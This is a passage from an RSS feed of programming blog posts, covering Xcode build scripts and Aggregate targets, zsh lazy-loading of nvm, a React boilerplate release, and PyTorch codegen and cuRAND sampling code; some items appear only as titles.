            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;bb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;255.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;rr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;gg&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;bb&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can simply do a &lt;code class="language-plaintext highlighter-rouge"&gt;CMD+B&lt;/code&gt; from Xcode and it should run the script as well. And if all goes well, by end the output image should be updated.&lt;/p&gt;

&lt;p&gt;&lt;img alt="next output" src="https://i.imgur.com/EovNThb.png" /&gt;&lt;/p&gt;

&lt;p&gt;This script works fine, but it has flaw in it. The output is generated after the entire &lt;code class="language-plaintext highlighter-rouge"&gt;Build Phase&lt;/code&gt; is run, which happens after this script, as this script is also the part of &lt;code class="language-plaintext highlighter-rouge"&gt;Build Phase&lt;/code&gt;.
So, every time we run the script, we are actually copying and executing the last executable generated from the last build. So, you would need to run &lt;code class="language-plaintext highlighter-rouge"&gt;CMD+B&lt;/code&gt; two times to see the output from the latest build.&lt;/p&gt;

&lt;p&gt;You can also see it as follwing steps happening over time:&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Build ImageGenerator001 begins
    Compile code version 001
    Copy ImageGenerator000 to source directory
    Generate image.ppm from ImageGenerator000
Build ImageGenerator001 ends
Create ImageGenerator001

Build ImageGenerator002 begins
    Compile code version 002
    Copy ImageGenerator001 to source directory
    Generate image.ppm from ImageGenerator001
Build ImageGenerator002 ends
Create ImageGenerator002
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This might not be a problem if you &lt;code class="language-plaintext highlighter-rouge"&gt;Compile Phase&lt;/code&gt; takes little time. But, if your codebase is significant, running build twice might be too much.&lt;/p&gt;

&lt;h3 id="aggregate-target"&gt;Aggregate Target&lt;/h3&gt;

&lt;p&gt;One solution for this problem is to use &lt;em&gt;Aggregate target&lt;/em&gt;. Go ahead and add an &lt;em&gt;Aggregate target&lt;/em&gt; to your project.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Aggregate target" src="https://i.imgur.com/wD7bHZe.png" /&gt;&lt;/p&gt;

&lt;p&gt;Let’s call it &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGeneratorOutput&lt;/code&gt;. Similar to our main &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGenerator&lt;/code&gt; target, lets add a &lt;code class="language-plaintext highlighter-rouge"&gt;Run Script&lt;/code&gt; phase here. The only job of this target is to run the script. So, move the run phase into this script.&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c"&gt;### copy output&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="nv"&gt;$BUILD_DIR&lt;/span&gt;/Debug/ImageGenerator &lt;span class="nv"&gt;$SRCROOT&lt;/span&gt;/ImageGenerator.out
&lt;span class="c"&gt;### generate image&lt;/span&gt;
&lt;span class="nv"&gt;$SRCROOT&lt;/span&gt;/ImageGenerator.out &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/Desktop/out.ppm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And out script in the &lt;code class="language-plaintext highlighter-rouge"&gt;Build Phase&lt;/code&gt; of &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGenerator&lt;/code&gt;  can now be safely removed.&lt;/p&gt;

&lt;p&gt;The last thing you need is to add &lt;code class="language-plaintext highlighter-rouge"&gt;Target Dependency&lt;/code&gt; in &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGeneratorOutput&lt;/code&gt; to &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGenerator&lt;/code&gt;. This will make sure that every time we build &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGeneratorOutput&lt;/code&gt;, the &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGenerator&lt;/code&gt; is built as an dependency.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Aggregate target build phase" src="https://i.imgur.com/UT7pOkJ.png" /&gt;&lt;/p&gt;

&lt;p&gt;Now, if all goes well and run &lt;code class="language-plaintext highlighter-rouge"&gt;CMD+B&lt;/code&gt; again with &lt;code class="language-plaintext highlighter-rouge"&gt;ImageGeneratorOutput&lt;/code&gt; scheme selected, the latest output image should be generated.
To, understand what changed, lets take a look at our updated flow&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Build ImageGeneratorOutput001 begins
    Build ImageGenerator001 begins
        Compile code version 001
    Build ImageGenerator001 ends
    Create ImageGenerator001
    Copy ImageGenerator001 to source directory
    Generate image.ppm from ImageGenerator001
Build ImageGeneratorOutput001 ends
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id="thanks"&gt;Thanks&lt;/h3&gt;

&lt;p&gt;I hope this article inspires you into using Xcode more for your command line apps. The source code for the project we built here can be found at &lt;a href="https://github.com/chunkyguy/demo-ImageGenerator"&gt;github.com/chunkyguy/demo-ImageGenerator&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enjoy and happy coding!&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sat, 06 Jan 2018 12:59:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/macos/xcode/rant/2018/01/06/macos-command-line-app/</guid></item><item><title>Studio</title><link>https://mattkeeter.com/projects/studio</link><description>Scheme-based design GUI with direct modeling</description><author>Matt Keeter</author><pubDate>Sat, 06 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/studio</guid></item><item><title>libfive</title><link>https://mattkeeter.com/projects/libfive</link><description>Infrastructure for solid modeling</description><author>Matt Keeter</author><pubDate>Sat, 06 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/libfive</guid></item><item><title>Compile-time version strings in CMake</title><link>https://mattkeeter.com/blog/2018-01-06-versioning</link><description/><author>Matt Keeter</author><pubDate>Sat, 06 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/blog/2018-01-06-versioning</guid></item><item><title>CTF Writeup: Hackvent 2017 Day 23 - "Only Perl"</title><link>https://www.da.vidbuchanan.co.uk/blog/hackvent-2017-d23.html</link><author>David Buchanan's Blog</author><pubDate>Sat, 06 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/hackvent-2017-d23.html</guid></item><item><title>CTF Writeup: Hackvent 2017 Day 21 - "Tamagotchi"</title><link>https://www.da.vidbuchanan.co.uk/blog/hackvent-2017-d21.html</link><author>David Buchanan's Blog</author><pubDate>Sat, 06 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/hackvent-2017-d21.html</guid></item><item><title>Spectre, explained as if computer were banks</title><link>https://stop.zona-m.net/2018/01/spectre-explained-as-if-computer-were-banks/</link><description>&lt;p&gt;You too can get what Spectre is, and you really should.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 05 Jan 2018 05:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/spectre-explained-as-if-computer-were-banks/</guid></item><item><title>Book Review: 1984 by George Orwell</title><link>https://solomon.io/book-review-1984-by-george-orwell/</link><description>War is Peace. Freedom is Slavery. Ignorance is Strength. It had been a long time since I had read either 1984 or Brave New World.</description><author>Sam Solomon</author><pubDate>Fri, 05 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/book-review-1984-by-george-orwell/</guid></item><item><title>Marvin v1.0</title><link>https://muffinman.io/blog/marvin-v1/</link><description>&lt;article class="article"&gt;&lt;p&gt;&lt;a href="https://github.com/stanko/marvin/"&gt;Marvin&lt;/a&gt; just got better!&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Marvin" height="1052" src="./marvin.jpg" width="600" /&gt;&lt;/figure&gt;
&lt;p&gt;Few days ago I&amp;#x27;ve released version 1.0 of my
&lt;span class="sidenote__text" tabindex="0"&gt;universal React boilerplate.&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Also known as Marvin&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
There are some big changes, and I&amp;#x27;m pretty happy with it&amp;#x27;s current state.
At least 20 applications were shipped using Marvin.
It has about seven hundred stars on GitHub with quite a few community contributions.&lt;/p&gt;
&lt;h2 id="big-updates"&gt;Big updates &lt;a class="anchor-link" href="#big-updates"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Switch from &lt;a href="https://github.com/gaearon/redux-thunk"&gt;redux-thunk&lt;/a&gt; to &lt;a href="https://github.com/redux-saga/redux-saga"&gt;redux-saga&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sagas are bit more complicated but they make managing asynchronous actions easier.
They are really powerful and something I usually go for.
Thunks are good for smaller apps, but they tend to get messy as application grows.&lt;/p&gt;
&lt;p&gt;Straight from &lt;code&gt;redux-saga&lt;/code&gt; docs:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Contrary to redux thunk, you don&amp;#x27;t end up in callback hell, you can test your asynchronous flows easily and your actions stay pure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Universal async data fetching using sagas.&lt;/p&gt;
&lt;p&gt;This was one of the most requested features.
Marvin now supports getting the async data on the server.
Data is then saved to the redux store for client to reuse.
Example is included, but I plan to write more detailed documentation on it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Switch from &lt;a href="http://sass-lang.com/"&gt;SASS&lt;/a&gt; to &lt;a href="https://github.com/postcss/postcss"&gt;postcss&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It is time to move on. SASS is awesome, but PostCSS caught up, and it is future proof.
Plus, if you are using Autoprefixer you are already using it anyway.&lt;/p&gt;
&lt;p&gt;I could write whole article about it,
but people already did it and you can read them &lt;a href="https://github.com/postcss/postcss#articles"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="it-is-opinionated"&gt;It is opinionated &lt;a class="anchor-link" href="#it-is-opinionated"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These changes and overall setup are very opinionated and crafted by our experience and needs.
It is made to be starting point for us, and it might not be the best choice for you.
Although, I personally think it is pretty easy to modify it to fit custom needs.&lt;/p&gt;
&lt;p&gt;If you use Marvin please leave a comment here or on the repo. Thanks!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Fri, 05 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/marvin-v1/</guid></item><item><title>How To Google Your Errors</title><link>https://www.swyx.io/how-to-google-your-errors-2l6o</link><description>&lt;hr /&gt;</description><author>swyx's site RSS Feed</author><pubDate>Thu, 04 Jan 2018 19:32:12 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/how-to-google-your-errors-2l6o</guid></item><item><title>zsh lazy loading</title><link>https://peterlyons.com/problog/2018/01/zsh-lazy-loading/</link><description>&lt;p&gt;I was getting frustrated with how long it took for a new terminal tab to start with zsh and display my prompt. I chatted with zsh wizard &lt;a href="https://alok.github.io/"&gt;Alok Singh&lt;/a&gt; and finally bothered to dig into it and removed the glaringly-slow subprocess spawns (things like &lt;code&gt;brew --prefix openssl&lt;/code&gt;) and some nvm related stuff was slow. What I came upon in my web research was &lt;a href="https://kev.inburke.com/kevin/profiling-zsh-startup-time/"&gt;this post&lt;/a&gt; which had pretty slick lazy loading pattern for integration with third party utilities like nvm, virtualenv, rbenv, and similar.&lt;/p&gt;
&lt;p&gt;The trick is you define a shell function yourself matching the name of the third party utility shell function. Your function's job is to load the real utility when it is run, which will replace your placeholder function with the real one.&lt;/p&gt;
&lt;p&gt;It looks like this for &lt;code&gt;nvm&lt;/code&gt;, for example:&lt;/p&gt;
&lt;pre class="language-sh "&gt;&lt;code class="language-sh"&gt;##### nvm (node version manager) #####
# placeholder nvm shell function
# On first use, it will set nvm up properly which will replace the `nvm`
# shell function with the real one
nvm() {
  if [[ -d &amp;#x27;&amp;#x2f;usr&amp;#x2f;local&amp;#x2f;opt&amp;#x2f;nvm&amp;#x27; ]]; then
    NVM_DIR=&amp;quot;&amp;#x2f;usr&amp;#x2f;local&amp;#x2f;opt&amp;#x2f;nvm&amp;quot;
    export NVM_DIR
    # shellcheck disable=SC1090
    source &amp;quot;${NVM_DIR}&amp;#x2f;nvm.sh&amp;quot;
    if [[ -e ~&amp;#x2f;.nvm&amp;#x2f;alias&amp;#x2f;default ]]; then
      PATH=&amp;quot;${PATH}:${HOME}.nvm&amp;#x2f;versions&amp;#x2f;node&amp;#x2f;$(cat ~&amp;#x2f;.nvm&amp;#x2f;alias&amp;#x2f;default)&amp;#x2f;bin&amp;quot;
    fi
    # invoke the real nvm function now
    nvm &amp;quot;$@&amp;quot;
  else
    echo &amp;quot;nvm is not installed&amp;quot; &amp;gt;&amp;amp;2
    return 1
  fi
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should keep shell init time short but still not require any explicit initialization of these shell integrations.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Thu, 04 Jan 2018 16:54:23 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/01/zsh-lazy-loading/</guid></item><item><title>Revamping a legacy backend #1</title><link>https://www.umarniz.com/revamping-a-legacy-backend-1/</link><description>At Sense Health over the past year I have been leading the technology team to revamp our core tech stack. Over the…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Thu, 04 Jan 2018 10:56:17 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/revamping-a-legacy-backend-1/</guid></item><item><title>The smart devices that notify you when you are dumb</title><link>https://stop.zona-m.net/2018/01/the-smart-devices-that-notify-you-when-you-are-dumb/</link><description>&lt;p&gt;Every object, no matter how ordinary, can become smart and thus bring your life to whole new levels of joy and awareness. I just found two more proofs of this truth.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 04 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/the-smart-devices-that-notify-you-when-you-are-dumb/</guid></item><item><title>PyTorch Internals, cuRAND, and numerical instability</title><link>https://rachitsingh.com/pytorch/</link><description>&lt;h2 id="random-sampling"&gt;Random sampling&lt;/h2&gt;
&lt;p&gt;I've been working lately to implement random samplers from a number of distributions in PyTorch, both on CPU and CUDA. This is a topic near and dear to my heart, since it has caused me a lot of trouble multiple times. Once &lt;a href="https://github.com/probtorch/pytorch/pull/58"&gt;this PR&lt;/a&gt; is merged, I'll post an explanation/notebook of why this is important.&lt;/p&gt;
&lt;p&gt;Here's a brief summary of the motivation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We want to sample from distributions like $\operatorname{Beta}(a, b)$. However, it's tricky, because up until recently PyTorch could only sample from a few basic distributions (Uniform, Normal, Exponential, etc.). This is a problem because most fast sampling algorithms for more complex distributions work via &lt;a href="https://en.wikipedia.org/wiki/Rejection_sampling"&gt;rejection sampling&lt;/a&gt; (or variants, like ARS), or via &lt;a href="https://en.wikipedia.org/wiki/Inverse_transform_sampling"&gt;inverse transform sampling&lt;/a&gt;. The first is tricky because if you want to do it in parallel in pure PyTorch, you need to implement a tricky masking method, and the second is tricky because the inverse CDF is often hard to compute.&lt;/li&gt;
&lt;li&gt;Failing that, we can fork out to Numpy. After all, PyTorch seamlessly integrates with Numpy, which has long had excellent support for distributions (more on this later). However, sampling in Numpy involves an expensive CPU-GPU copy, which was actually significant in our models. In our work, the baseline used a Beta distribution, so it would be unfair to compare with this large performance hit.&lt;/li&gt;
&lt;li&gt;Finally, failing that, we can write C/CUDA code to sample, and link against PyTorch. That's exactly what &lt;a href="https://github.com/rachtsingh/ibp_vae/tree/master/src/lgamma"&gt;we did&lt;/a&gt;. The downside of this is that CUDA random number generation is a little tricky, and NVIDIA's &lt;code&gt;cuRAND&lt;/code&gt; library only implements a few random number generators. Also, since I am only a makefile novice, it took me forever to get it to compile on Odyssey, and promptly didn't work when I tried to use it on a different environment.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, my goal lately is to port some of the knowledge gained to PyTorch proper. That way, other researchers can get random $\operatorname{Beta}(a, b)$ samples, fast, without having to jump through all the hoops.&lt;/p&gt;
&lt;h2 id="pytorch-internals"&gt;PyTorch internals&lt;/h2&gt;
&lt;p&gt;PyTorch as a project is pretty complex, but can be surprisingly easy to contribute to if you know where to look. Unfortunately the documentation on internals is sparse &lt;sup class="footnote-reference" id="fr-1-1"&gt;&lt;a href="https://rachitsingh.com/pytorch/#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;, and there's two things that make it difficult: there's a mixture of C/C++/CUDA/Python code throughout, and it's glued together with &lt;em&gt;a lot of codegen&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Why is this necessary? PyTorch is a Python library that communicates with C/C++ code (for fast CPU operations), and CUDA (for fast GPU operations). Since there are &lt;a href="http://pytorch.org/docs/master/tensors.html"&gt;many data types&lt;/a&gt; supported, a lot of the code would be tedious: all of&lt;/p&gt;
&lt;pre class="language-cpp " style="background-color: #011627; color: #d6deeb;"&gt;&lt;code class="language-cpp"&gt;&lt;span&gt;THFloatTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;* &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;add&lt;/span&gt;&lt;span&gt;(THFloatTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;a&lt;/span&gt;&lt;span&gt;, THFloatTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;b&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;span&gt;THDoubleTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;* &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;add&lt;/span&gt;&lt;span&gt;(THDoubleTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;a&lt;/span&gt;&lt;span&gt;, THDoubleTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;b&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;span&gt;THCFloatTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;* &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;add&lt;/span&gt;&lt;span&gt;(THCFloatTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;a&lt;/span&gt;&lt;span&gt;, THCFloatTensor &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;b&lt;/span&gt;&lt;span&gt;);
&lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;probably have the same implementation. Imagine repeating that 15 times! So not only are the FFI interfaces generated, but the function signatures and implementations too.&lt;/p&gt;
&lt;p&gt;Very recently, &lt;a href="https://github.com/zdevito/ATen"&gt;ATen&lt;/a&gt; has made the story somewhat simpler by leveraging C++11 and namespacing to eliminate macros &lt;sup class="footnote-reference" id="fr-2-1"&gt;&lt;a href="https://rachitsingh.com/pytorch/#fn-2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Here's a few notes I found useful while trying to understand how the build works:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;There are 2 different codegen systems: &lt;code&gt;cwrap&lt;/code&gt; for generating Python interfaces for some underlying code, and &lt;code&gt;.yaml&lt;/code&gt; for an interface from &lt;code&gt;Variable&lt;/code&gt; to &lt;code&gt;ATen&lt;/code&gt;. So, the &lt;code&gt;torch/csrc/generic/**/*.cwrap&lt;/code&gt; files generate Python interfaces and versions of the &lt;code&gt;THTensor_(...)&lt;/code&gt; methods for each type, which are dispatched based on the type used. You can jump into that via &lt;code&gt;generate_code.py&lt;/code&gt; &lt;a href="https://github.com/pytorch/pytorch/blob/master/tools/setup_helpers/generate_code.py#L77"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;.yaml&lt;/code&gt; files, ATen builds its own interface via &lt;a href="https://github.com/pytorch/pytorch/blob/master/aten/src/ATen/gen.py"&gt;this file&lt;/a&gt; and outputs &lt;code&gt;Declarations.yaml&lt;/code&gt;. Then, &lt;code&gt;generate_code.py&lt;/code&gt; reads &lt;code&gt;Declarations.yaml&lt;/code&gt; and writes the corresponding Python interface, using &lt;code&gt;gen_variable_type&lt;/code&gt; and the &lt;code&gt;derivatives.yaml&lt;/code&gt; file. The latter also has information about what the gradient of an operation is.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;While building, all the information in &lt;a href="https://github.com/pytorch/pytorch/blob/master/CONTRIBUTING.md"&gt;&lt;code&gt;CONTRIBUTING.md&lt;/code&gt;&lt;/a&gt; is very helpful in keeping iteration time down. Also helpful: rewrite &lt;code&gt;build_deps&lt;/code&gt; inside &lt;code&gt;setup.py&lt;/code&gt; to just build your component (e.g. &lt;code&gt;ATen&lt;/code&gt;). Sometimes it gets screwed up and running &lt;code&gt;python setup.py clean&lt;/code&gt; is the remedy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The ATen codegen (starting with &lt;code&gt;gen.py&lt;/code&gt;, but mostly in &lt;code&gt;function_wrapper.py&lt;/code&gt;) generates the glue that dispatches the correct function based on types. After building, you can find these files in &lt;code&gt;torch/lib/build/aten/src/ATen/ATen/&lt;/code&gt;. If you want to mess with the generation, you can modify &lt;code&gt;function_wrapper.py&lt;/code&gt;: just find the spot where the corresponding code is generated, and modify &lt;code&gt;options&lt;/code&gt; to do what you need. Note that to change just one code path, you'll need to modify many of the codegen points, so look for all of them (&lt;code&gt;Functions.h&lt;/code&gt;, &lt;code&gt;CPU[Type]Type.h&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Mostly I figured this out by running the build, using &lt;code&gt;ag -G [something] [term]&lt;/code&gt;, and &lt;code&gt;find . -name "[regexp]"&lt;/code&gt;. If you're poking around, they will likely be useful as well. NOTE: by default, &lt;a href="https://github.com/ggreer/the_silver_searcher"&gt;ag&lt;/a&gt; or &lt;a href="https://github.com/BurntSushi/ripgrep"&gt;rg&lt;/a&gt; will ignore the files in your &lt;code&gt;.gitignore&lt;/code&gt;. This includes generated build files!&lt;/p&gt;
&lt;h2 id="a-story-about-rng"&gt;A story about RNG&lt;/h2&gt;
&lt;p&gt;Recently I was implementing a Poisson sampler using essentially rejection sampling, and found that it didn't work. Here's the code:&lt;/p&gt;
&lt;pre class="language-cpp " style="background-color: #011627; color: #d6deeb;"&gt;&lt;code class="language-cpp"&gt;&lt;span&gt;__device__ &lt;/span&gt;&lt;span style="color: #addb67;"&gt;int64_t &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;sample_poisson&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #82aaff;"&gt;double &lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;lambda&lt;/span&gt;&lt;span&gt;, curandStateMtgp32 &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*&lt;/span&gt;&lt;span style="color: #d7dbe0;"&gt;states&lt;/span&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;if &lt;/span&gt;&lt;span&gt;(lambda &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;&amp;lt; &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;10&lt;/span&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;double&lt;/span&gt;&lt;span&gt; enlam &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span&gt;std&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;::&lt;/span&gt;&lt;span style="color: #82aaff;"&gt;exp&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;-&lt;/span&gt;&lt;span&gt;lambda);
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #addb67;"&gt;int64_t&lt;/span&gt;&lt;span&gt; X &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;double&lt;/span&gt;&lt;span&gt; prod &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;1.0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #82aaff;"&gt;double&lt;/span&gt;&lt;span&gt; U &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;0&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;while &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;1&lt;/span&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;span&gt;      U &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;= &lt;/span&gt;&lt;span style="color: #addb67;"&gt;curand_uniform_double&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;states[blockIdx&lt;/span&gt;&lt;span style="color: #c792ea;"&gt;.&lt;/span&gt;&lt;span style="color: #addb67;"&gt;x&lt;/span&gt;&lt;span&gt;]);
&lt;/span&gt;&lt;span&gt;      prod &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;*=&lt;/span&gt;&lt;span&gt; U;
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;if &lt;/span&gt;&lt;span&gt;(prod &lt;/span&gt;&lt;span style="color: #c792ea;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; enlam) {
&lt;/span&gt;&lt;span&gt;        X &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;+= &lt;/span&gt;&lt;span style="color: #f78c6c;"&gt;1&lt;/span&gt;&lt;span&gt;;
&lt;/span&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;else &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;return&lt;/span&gt;&lt;span&gt; X;
&lt;/span&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #7fdbca;"&gt;... &lt;/span&gt;&lt;span style="color: #637777;"&gt;// more special case code for values of lambda
&lt;/span&gt;&lt;span&gt;}
